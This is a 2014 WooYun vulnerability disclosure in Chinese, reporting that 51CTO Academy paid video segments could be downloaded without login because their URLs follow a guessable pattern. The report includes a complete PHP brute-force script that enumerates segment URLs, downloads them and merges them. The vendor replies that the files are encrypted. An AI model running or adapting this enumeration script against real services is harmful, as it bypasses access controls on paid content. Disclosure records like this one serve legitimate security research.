当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077703

漏洞标题:51CTO学院视频或可被爆破

相关厂商:51CTO技术网站

漏洞作者: Rain

提交时间:2014-09-29 10:57

修复时间:2014-11-13 10:58

公开时间:2014-11-13 10:58

漏洞类型:未授权访问/权限绕过

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-29: 细节已通知厂商并且等待厂商处理中
2014-09-29: 厂商已经确认,细节仅向厂商公开
2014-10-09: 细节向核心白帽子及相关领域专家公开
2014-10-19: 细节向普通白帽子公开
2014-10-29: 细节向实习白帽子公开
2014-11-13: 细节向公众公开

简要描述:

最近无意间发现51CTO推出了51cto学院视频。感觉挺不错的,所以就去看看。发现视频的规则和权限设置不当,或可被爆破,无需付金币

详细说明:

最近无意间发现51CTO推出了51cto学院视频。感觉挺不错的,所以就去看看。发现视频的规则和权限设置不当,或可被爆破,无需付金币

漏洞证明:

简单的看了几个视频对应的URL地址,发现了一些规律性的东西,比如说下面的地址
http://v1.51cto.com/2014/07/25/33923/general/loco_video_203000_2.ts
首先确认了,不需要登录就可以下载了。所以说明没有做任何权限判断和过滤,至于ts应该是视频的一个个片段。2014/07/25这个一看就是发布这个课程的时间。33923就是课程的ID。然后后面就有点雷同了。203000,经过研究发现,大部分情况,后面三个都是0.前面是一个三位数,代表什么意思不知道。但是好像都不会超过400.后面的_2.ts代表的是视频的片段2.
经过这样的分析,如果我们手动尝试爆破,肯定就很费事。于是写了一个php脚本测试。还真可以获取成功。说明一种爆破的可能性,代码如下,仅供学习参考

<?php
//lesson id
$id = '31465';
//lesson publish year
$year = '2014';
//lesson publish month
$month = '07';
//lesson publish day
$day = '14';
if (is_dir('tmp'))
rrmdir('tmp');
$split_cmd = '';
for ($j = 100; $j < 4000; $j )
{
$url = 'http://v1.51cto.com/'.$year.'/'.$month.'/'.$day.'/'.$id.'/general/loco_video_'.$j.'000_0.ts';
$arr = get_headers($url);
echo 'test url: ',$url,PHP_EOL;
if ($arr[0] != 'HTTP/1.0 200 OK')
continue;
echo 'have fun, we find video',PHP_EOL;
sleep(3);
for ($i = 0; $i < 1000; $i )
{
$url = 'http://v1.51cto.com/'.$year.'/'.$month.'/'.$day.'/'.$id.'/general/loco_video_'.$j.'000_'.$i.'.ts';
$arr = get_headers($url);
if ($arr[0] == 'HTTP/1.0 200 OK')
{
echo $url,PHP_EOL;
if (!is_dir('tmp'))
mkdir('tmp');
file_put_contents('tmp/'.$i.'.ts', file_get_contents($url));
$split_cmd .= $i.'.ts ';
}
else
{
echo 'all video split download finish, see result.ts',PHP_EOL;
break 2;
}
}
}
if (!is_dir('tmp'))
echo 'sorry, video not find';
else
{
$cmd = 'cd tmp && copy /b '.substr($split_cmd, 0, -1).' result.ts';
echo 'execute command: ',$cmd,PHP_EOL;
exec($cmd);
}
function rrmdir($dir) {
foreach(glob($dir . '/*') as $file) {
if(is_dir($file))
rrmdir($file);
else
unlink($file);
}
rmdir($dir);
}


测试结果

1.jpg


修复方案:

你懂得

版权声明:转载请注明来源 Rain@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-09-29 14:40

厂商回复:

感谢白帽子的关注,51CTO学院视频文件文件本身是被加密的,即使被下载也无法直接观看。

最新状态:

暂无